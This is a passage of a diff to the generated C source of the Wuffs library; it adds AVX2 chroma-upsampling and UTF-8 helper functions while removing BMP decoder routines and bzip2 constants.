In terms of jxx (major row) or nxx (minor row) source samples: ++ // - low columns means ( 0 .. 8; 16 .. 24). ++ // - high columns means ( 8 .. 16; 24 .. 32). ++ // ++ // In terms of dxx destination samples (there are twice as many): ++ // - low columns means ( 0 .. 16; 32 .. 48). ++ // - high columns means (16 .. 32; 48 .. 64). ++ // ++ // step5_lo = [d00 d01 .. d14 d15 d32 d33 .. d46 d47] ++ // step5_hi = [d16 d17 .. d30 d31 d48 d49 .. d62 d63] ++ // ++ // The d00, d02 ... d62 even elements come from (p0, m1) weighted sums. ++ // The d01, d03 ... d63 odd elements come from (p0, p1) weighted sums. ++ __m256i step5_lo = _mm256_or_si256(step4_m1_lo, step4_p1_lo); ++ __m256i step5_hi = _mm256_or_si256(step4_m1_hi, step4_p1_hi); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_bmp__decoder__num_decoded_frames( +- const wuffs_bmp__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ // Permute and store. ++ // ++ // step6_00_31 = [d00 d01 .. d14 d15 d16 d17 .. d30 d31] ++ // step6_32_63 = [d32 d33 .. d46 d47 d48 d49 .. d62 d63] ++ __m256i step6_00_31 = _mm256_permute2x128_si256(step5_lo, step5_hi, 0x20); ++ __m256i step6_32_63 = _mm256_permute2x128_si256(step5_lo, step5_hi, 0x31); ++ _mm256_storeu_si256((__m256i*)(void*)(dp + 0x00), step6_00_31); ++ _mm256_storeu_si256((__m256i*)(void*)(dp + 0x20), step6_32_63); + +- if (self->private_impl.f_call_sequence > 64u) { +- return 1u; ++ // Advance by up to 32 source samples (64 destination samples). The first ++ // iteration might be smaller than 32 so that all of the remaining steps ++ // are exactly 32. ++ size_t n = 32u - (31u & (0u - src_len)); ++ dp += 2u * n; ++ sp_major += n; ++ sp_minor += n; ++ src_len -= n; ++ } + } +- return 0u; +-} + +-// -------- func bmp.decoder.restart_frame ++ if (last_column) { ++ uint32_t sv_major_m1 = sp_major[-1]; ++ uint32_t sv_minor_m1 = sp_minor[-1]; ++ uint32_t sv_major_p1 = sp_major[+0]; // Clamp offset to zero. ++ uint32_t sv_minor_p1 = sp_minor[+0]; // Clamp offset to zero. + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_bmp__decoder__restart_frame( +- wuffs_bmp__decoder* self, +- uint64_t a_index, +- uint64_t a_io_position) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // ++ (3u * ((uint32_t)(*sp_minor++))); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); + } + +- if (self->private_impl.f_call_sequence < 32u) { +- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- } +- if (a_index != 0u) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- self->private_impl.f_call_sequence = 40u; +- self->private_impl.f_frame_config_io_position = a_io_position; +- return wuffs_base__make_status(NULL); ++ return dst_ptr; + } ++#endif ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++// ‼ WUFFS MULTI-FILE SECTION -x86_avx2 + +-// -------- func bmp.decoder.set_report_metadata +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_bmp__decoder__set_report_metadata( +- wuffs_bmp__decoder* self, +- uint32_t a_fourcc, +- bool a_report) { +- return wuffs_base__make_empty_struct(); +-} ++#endif // !defined(WUFFS_CONFIG__MODULES) || ++ // defined(WUFFS_CONFIG__MODULE__BASE) || ++ // defined(WUFFS_CONFIG__MODULE__BASE__PIXCONV) + +-// -------- func bmp.decoder.tell_me_more ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ ++ defined(WUFFS_CONFIG__MODULE__BASE__UTF8) + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_bmp__decoder__tell_me_more( +- wuffs_bmp__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 4)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); ++// ---------------- Unicode and UTF-8 + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++WUFFS_BASE__MAYBE_STATIC size_t // ++wuffs_base__utf_8__encode(wuffs_base__slice_u8 dst, uint32_t code_point) { ++ if (code_point <= 0x7F) { ++ if (dst.len >= 1) { ++ dst.ptr[0] = (uint8_t)(code_point); ++ return 1; ++ } + +- uint32_t coro_susp_point = self->private_impl.p_tell_me_more[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ } else if (code_point <= 0x07FF) { ++ if (dst.len >= 2) { ++ dst.ptr[0] = (uint8_t)(0xC0 | ((code_point >> 6))); ++ dst.ptr[1] = (uint8_t)(0x80 | ((code_point >> 0) & 0x3F)); ++ return 2; ++ } + +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_bmp__decoder__do_tell_me_more(self, a_dst, a_minfo, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } else if (code_point <= 0xFFFF) { ++ if ((dst.len >= 3) && ((code_point < 0xD800) || (0xDFFF < code_point))) { ++ dst.ptr[0] = (uint8_t)(0xE0 | ((code_point >> 12))); ++ dst.ptr[1] = (uint8_t)(0x80 | ((code_point >> 6) & 0x3F)); ++ dst.ptr[2] = (uint8_t)(0x80 | ((code_point >> 0) & 0x3F)); ++ return 3; + } + +- ok: +- self->private_impl.p_tell_me_more[0] = 0; +- goto exit; ++ } else if (code_point <= 0x10FFFF) { ++ if (dst.len >= 4) { ++ dst.ptr[0] = (uint8_t)(0xF0 | ((code_point >> 18))); ++ dst.ptr[1] = (uint8_t)(0x80 | ((code_point >> 12) & 0x3F)); ++ dst.ptr[2] = (uint8_t)(0x80 | ((code_point >> 6) & 0x3F)); ++ dst.ptr[3] = (uint8_t)(0x80 | ((code_point >> 0) & 0x3F)); ++ return 4; ++ } + } + +- goto suspend; +- suspend: +- self->private_impl.p_tell_me_more[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 4 : 0; +- +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; ++ return 0; + } + +-// -------- func bmp.decoder.do_tell_me_more +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__do_tell_me_more( +- wuffs_bmp__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++// wuffs_base__utf_8__byte_length_minus_1 is the byte length (minus 1) of a ++// UTF-8 encoded code point, based on the encoding's initial byte. ++// - 0x00 is 1-byte UTF-8 (ASCII). ++// - 0x01 is the start of 2-byte UTF-8. ++// - 0x02 is the start of 3-byte UTF-8. ++// - 0x03 is the start of 4-byte UTF-8. ++// - 0x40 is a UTF-8 tail byte. ++// - 0x80 is invalid UTF-8. ++// ++// RFC 3629 (UTF-8) gives this grammar for valid UTF-8: ++// UTF8-1 = %x00-7F ++// UTF8-2 = %xC2-DF UTF8-tail ++// UTF8-3 = %xE0 %xA0-BF UTF8-tail / %xE1-EC 2( UTF8-tail ) / ++// %xED %x80-9F UTF8-tail / %xEE-EF 2( UTF8-tail ) ++// UTF8-4 = %xF0 %x90-BF 2( UTF8-tail ) / %xF1-F3 3( UTF8-tail ) / ++// %xF4 %x80-8F 2( UTF8-tail ) ++// UTF8-tail = %x80-BF ++static const uint8_t wuffs_base__utf_8__byte_length_minus_1[256] = { ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x00 ..= 0x07. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x08 ..= 0x0F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x10 ..= 0x17. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x18 ..= 0x1F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x20 ..= 0x27. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x28 ..= 0x2F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x30 ..= 0x37. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x38 ..= 0x3F. + +- if (self->private_impl.f_io_redirect_fourcc <= 1u) { +- status = wuffs_base__make_status(wuffs_base__error__no_more_information); +- goto exit; +- } +- if (a_minfo != NULL) { +- wuffs_base__more_information__set(a_minfo, +- 1u, +- self->private_impl.f_io_redirect_fourcc, +- 0u, +- self->private_impl.f_io_redirect_pos, +- 18446744073709551615u); +- } +- self->private_impl.f_io_redirect_fourcc = 1u; ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x40 ..= 0x47. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x48 ..= 0x4F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50 ..= 0x57. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x58 ..= 0x5F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x60 ..= 0x67. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x68 ..= 0x6F. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x70 ..= 0x77. ++ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x78 ..= 0x7F. + +- goto ok; +- ok: +- goto exit; +- exit: +- return status; +-} ++ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x80 ..= 0x87. ++ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x88 ..= 0x8F. ++ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x90 ..= 0x97. ++ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x98 ..= 0x9F. ++ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xA0 ..= 0xA7. ++ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xA8 ..= 0xAF. ++ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xB0 ..= 0xB7. ++ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xB8 ..= 0xBF. + +-// -------- func bmp.decoder.history_retain_length ++ 0x80, 0x80, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xC0 ..= 0xC7. ++ 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xC8 ..= 0xCF. ++ 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xD0 ..= 0xD7. ++ 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xD8 ..= 0xDF. ++ 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // 0xE0 ..= 0xE7. ++ 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // 0xE8 ..= 0xEF. ++ 0x03, 0x03, 0x03, 0x03, 0x03, 0x80, 0x80, 0x80, // 0xF0 ..= 0xF7. ++ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF8 ..= 0xFF. ++ // 0 1 2 3 4 5 6 7 ++ // 8 9 A B C D E F ++}; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_bmp__decoder__history_retain_length( +- const wuffs_bmp__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__utf_8__next__output // ++wuffs_base__utf_8__next(const uint8_t* s_ptr, size_t s_len) { ++ if (s_len == 0) { ++ return wuffs_base__make_utf_8__next__output(0, 0); + } ++ uint32_t c = s_ptr[0]; ++ switch (wuffs_base__utf_8__byte_length_minus_1[c & 0xFF]) { ++ case 0: ++ return wuffs_base__make_utf_8__next__output(c, 1); + +- return 0u; +-} ++ case 1: ++ if (s_len < 2) { ++ break; ++ } ++ c = wuffs_base__peek_u16le__no_bounds_check(s_ptr); ++ if ((c & 0xC000) != 0x8000) { ++ break; ++ } ++ c = (0x0007C0 & (c << 6)) | (0x00003F & (c >> 8)); ++ return wuffs_base__make_utf_8__next__output(c, 2); + +-// -------- func bmp.decoder.workbuf_len ++ case 2: ++ if (s_len < 3) { ++ break; ++ } ++ c = wuffs_base__peek_u24le__no_bounds_check(s_ptr); ++ if ((c & 0xC0C000) != 0x808000) { ++ break; ++ } ++ c = (0x00F000 & (c << 12)) | (0x000FC0 & (c >> 2)) | ++ (0x00003F & (c >> 16)); ++ if ((c <= 0x07FF) || ((0xD800 <= c) && (c <= 0xDFFF))) { ++ break; ++ } ++ return wuffs_base__make_utf_8__next__output(c, 3); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_bmp__decoder__workbuf_len( +- const wuffs_bmp__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ case 3: ++ if (s_len < 4) { ++ break; ++ } ++ c = wuffs_base__peek_u32le__no_bounds_check(s_ptr); ++ if ((c & 0xC0C0C000) != 0x80808000) { ++ break; ++ } ++ c = (0x1C0000 & (c << 18)) | (0x03F000 & (c << 4)) | ++ (0x000FC0 & (c >> 10)) | (0x00003F & (c >> 24)); ++ if ((c <= 0xFFFF) || (0x110000 <= c)) { ++ break; ++ } ++ return wuffs_base__make_utf_8__next__output(c, 4); + } + +- return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++ return wuffs_base__make_utf_8__next__output( ++ WUFFS_BASE__UNICODE_REPLACEMENT_CHARACTER, 1); + } + +-// -------- func bmp.decoder.read_palette +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__read_palette( +- wuffs_bmp__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_i = 0; +- uint32_t v_argb = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- uint32_t coro_susp_point = self->private_impl.p_read_palette[0]; +- if (coro_susp_point) { +- v_i = self->private_data.s_read_palette[0].v_i; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__utf_8__next__output // ++wuffs_base__utf_8__next_from_end(const uint8_t* s_ptr, size_t s_len) { ++ if (s_len == 0) { ++ return wuffs_base__make_utf_8__next__output(0, 0); + } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ const uint8_t* ptr = &s_ptr[s_len - 1]; ++ if (*ptr < 0x80) { ++ return wuffs_base__make_utf_8__next__output(*ptr, 1); + +- if (self->private_impl.f_bitmap_info_len == 12u) { +- while ((v_i < 256u) && (self->private_impl.f_padding >= 3u)) { +- self->private_impl.f_padding -= 3u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { +- t_0 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); +- iop_a_src += 3; +- } else { +- self->private_data.s_read_palette[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_read_palette[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; +- if (num_bits_0 == 16) { +- t_0 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)) << 56; +- } +- } +- v_argb = t_0; +- } +- v_argb |= 4278190080u; +- self->private_data.f_src_palette[((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); +- self->private_data.f_src_palette[((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); +- self->private_data.f_src_palette[((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); +- self->private_data.f_src_palette[((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); +- v_i += 1u; ++ } else if (*ptr < 0xC0) { ++ const uint8_t* too_far = &s_ptr[(s_len > 4) ? (s_len - 4) : 0]; ++ uint32_t n = 1; ++ while (ptr != too_far) { ++ ptr--; ++ n++; ++ if (*ptr < 0x80) { ++ break; ++ } else if (*ptr < 0xC0) { ++ continue; + } +- } else { +- while ((v_i < 256u) && (self->private_impl.f_padding >= 4u)) { +- self->private_impl.f_padding -= 4u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_read_palette[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_read_palette[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; +- if (num_bits_1 == 24) { +- t_1 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)) << 56; +- } +- } +- v_argb = t_1; +- } +- v_argb |= 4278190080u; +- self->private_data.f_src_palette[((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); +- self->private_data.f_src_palette[((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); +- self->private_data.f_src_palette[((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); +- self->private_data.f_src_palette[((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); +- v_i += 1u; ++ wuffs_base__utf_8__next__output o = wuffs_base__utf_8__next(ptr, n); ++ if (o.byte_length != n) { ++ break; + } ++ return o; + } +- while (v_i < 256u) { +- self->private_data.f_src_palette[((4u * v_i) + 0u)] = 0u; +- self->private_data.f_src_palette[((4u * v_i) + 1u)] = 0u; +- self->private_data.f_src_palette[((4u * v_i) + 2u)] = 0u; +- self->private_data.f_src_palette[((4u * v_i) + 3u)] = 255u; +- v_i += 1u; +- } +- +- goto ok; +- ok: +- self->private_impl.p_read_palette[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_read_palette[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_read_palette[0].v_i = v_i; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- return status; ++ return wuffs_base__make_utf_8__next__output( ++ WUFFS_BASE__UNICODE_REPLACEMENT_CHARACTER, 1); + } + +-// -------- func bmp.decoder.process_masks +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__process_masks( +- wuffs_bmp__decoder* self) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_i = 0; +- uint32_t v_mask = 0; +- uint32_t v_n = 0; +- +- while (v_i < 4u) { +- v_mask = self->private_impl.f_channel_masks[v_i]; +- if (v_mask != 0u) { +- v_n = 0u; +- while ((v_mask & 1u) == 0u) { +- v_n += 1u; +- v_mask >>= 1u; +- } +- self->private_impl.f_channel_shifts[v_i] = ((uint8_t)((v_n & 31u))); +- v_n = 0u; +- while ((v_mask & 1u) == 1u) { +- v_n += 1u; +- v_mask >>= 1u; +- } +- if ((v_mask != 0u) || (v_n > 32u)) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; +- } +- self->private_impl.f_channel_num_bits[v_i] = ((uint8_t)(v_n)); +- } else if (v_i != 3u) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; ++WUFFS_BASE__MAYBE_STATIC size_t // ++wuffs_base__utf_8__longest_valid_prefix(const uint8_t* s_ptr, size_t s_len) { ++ // TODO: possibly optimize the all-ASCII case (4 or 8 bytes at a time). ++ // ++ // TODO: possibly optimize this by manually inlining the ++ // wuffs_base__utf_8__next calls. ++ size_t original_len = s_len; ++ while (s_len > 0) { ++ wuffs_base__utf_8__next__output o = wuffs_base__utf_8__next(s_ptr, s_len); ++ if ((o.code_point > 0x7F) && (o.byte_length == 1)) { ++ break; + } +- v_i += 1u; ++ s_ptr += o.byte_length; ++ s_len -= o.byte_length; + } ++ return original_len - s_len; ++} + +- goto ok; +- ok: +- goto exit; +- exit: +- return status; ++WUFFS_BASE__MAYBE_STATIC size_t // ++wuffs_base__ascii__longest_valid_prefix(const uint8_t* s_ptr, size_t s_len) { ++ // TODO: possibly optimize this by checking 4 or 8 bytes at a time. ++ const uint8_t* original_ptr = s_ptr; ++ const uint8_t* p = s_ptr; ++ const uint8_t* q = s_ptr + s_len; ++ for (; (p != q) && ((*p & 0x80) == 0); p++) { ++ } ++ return (size_t)(p - original_ptr); + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BMP) ++#endif // !defined(WUFFS_CONFIG__MODULES) || ++ // defined(WUFFS_CONFIG__MODULE__BASE) || ++ // defined(WUFFS_CONFIG__MODULE__BASE__UTF8) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BZIP2) ++#ifdef __cplusplus ++} // extern "C" ++#endif + +-// ---------------- Status Codes Implementations ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ADLER32) + +-const char wuffs_bzip2__error__bad_huffman_code_over_subscribed[] = "#bzip2: bad Huffman code (over-subscribed)"; +-const char wuffs_bzip2__error__bad_huffman_code_under_subscribed[] = "#bzip2: bad Huffman code (under-subscribed)"; +-const char wuffs_bzip2__error__bad_block_header[] = "#bzip2: bad block header"; +-const char wuffs_bzip2__error__bad_block_length[] = "#bzip2: bad block length"; +-const char wuffs_bzip2__error__bad_checksum[] = "#bzip2: bad checksum"; +-const char wuffs_bzip2__error__bad_header[] = "#bzip2: bad header"; +-const char wuffs_bzip2__error__bad_number_of_sections[] = "#bzip2: bad number of sections"; +-const char wuffs_bzip2__error__truncated_input[] = "#bzip2: truncated input"; +-const char wuffs_bzip2__error__unsupported_block_randomization[] = "#bzip2: unsupported block randomization"; +-const char wuffs_bzip2__error__internal_error_inconsistent_huffman_decoder_state[] = "#bzip2: internal error: inconsistent Huffman decoder state"; ++// ---------------- Status Codes Implementations + + // ---------------- Private Consts + +-static const uint8_t +-WUFFS_BZIP2__CLAMP_TO_5[8] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 1, 2, 3, 4, 5, 5, 5, +-}; +- +-static const uint32_t +-WUFFS_BZIP2__REV_CRC32_TABLE[256] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 79764919, 159529838, 222504665, 319059676, 398814059, 445009330, 507990021, +- 638119352, 583659535, 797628118, 726387553, 890018660, 835552979, 1015980042, 944750013, +- 1276238704, 1221641927, 1167319070, 1095957929, 1595256236, 1540665371, 1452775106, 1381403509, +- 1780037320, 1859660671, 1671105958, 1733955601, 2031960084, 2111593891, 1889500026, 1952343757, +- 2552477408, 2632100695, 2443283854, 2506133561, 2334638140, 2414271883, 2191915858, 2254759653, +- 3190512472, 3135915759, 3081330742, 3009969537, 2905550212, 2850959411, 2762807018, 2691435357, +- 3560074640, 3505614887, 3719321342, 3648080713, 3342211916, 3287746299, 3467911202, 3396681109, +- 4063920168, 4143685023, 4223187782, 4286162673, 3779000052, 3858754371, 3904687514, 3967668269, +- 881225847, 809987520, 1023691545, 969234094, 662832811, 591600412, 771767749, 717299826, +- 311336399, 374308984, 453813921, 533576470, 25881363, 88864420, 134795389, 214552010, +- 2023205639, 2086057648, 1897238633, 1976864222, 1804852699, 1867694188, 1645340341, 1724971778, +- 1587496639, 1516133128, 1461550545, 1406951526, 1302016099, 1230646740, 1142491917, 1087903418, +- 2896545431, 2825181984, 2770861561, 2716262478, 3215044683, 3143675388, 3055782693, 3001194130, +- 2326604591, 2389456536, 2200899649, 2280525302, 2578013683, 2640855108, 2418763421, 2498394922, +- 3769900519, 3832873040, 3912640137, 3992402750, 4088425275, 4151408268, 4197601365, 4277358050, +- 3334271071, 3263032808, 3476998961, 3422541446, 3585640067, 3514407732, 3694837229, 3640369242, +- 1762451694, 1842216281, 1619975040, 1682949687, 2047383090, 2127137669, 1938468188, 2001449195, +- 1325665622, 1271206113, 1183200824, 1111960463, 1543535498, 1489069629, 1434599652, 1363369299, +- 622672798, 568075817, 748617968, 677256519, 907627842, 853037301, 1067152940, 995781531, +- 51762726, 131386257, 177728840, 240578815, 269590778, 349224269, 429104020, 491947555, +- 4046411278, 4126034873, 4172115296, 4234965207, 3794477266, 3874110821, 3953728444, 4016571915, +- 3609705398, 3555108353, 3735388376, 3664026991, 3290680682, 3236090077, 3449943556, 3378572211, +- 3174993278, 3120533705, 3032266256, 2961025959, 2923101090, 2868635157, 2813903052, 2742672763, +- 2604032198, 2683796849, 2461293480, 2524268063, 2284983834, 2364738477, 2175806836, 2238787779, +- 1569362073, 1498123566, 1409854455, 1355396672, 1317987909, 1246755826, 1192025387, 1137557660, +- 2072149281, 2135122070, 1912620623, 1992383480, 1753615357, 1816598090, 1627664531, 1707420964, +- 295390185, 358241886, 404320391, 483945776, 43990325, 106832002, 186451547, 266083308, +- 932423249, 861060070, 1041341759, 986742920, 613929101, 542559546, 756411363, 701822548, +- 3316196985, 3244833742, 3425377559, 3370778784, 3601682597, 3530312978, 3744426955, 3689838204, +- 3819031489, 3881883254, 3928223919, 4007849240, 4037393693, 4100235434, 4180117107, 4259748804, +- 2310601993, 2373574846, 2151335527, 2231098320, 2596047829, 2659030626, 2470359227, 2550115596, +- 2947551409, 2876312838, 2788305887, 2733848168, 3165939309, 3094707162, 3040238851, 2985771188, +-}; +- + // ---------------- Private Initializer Prototypes + + // ---------------- Private Function Prototypes + 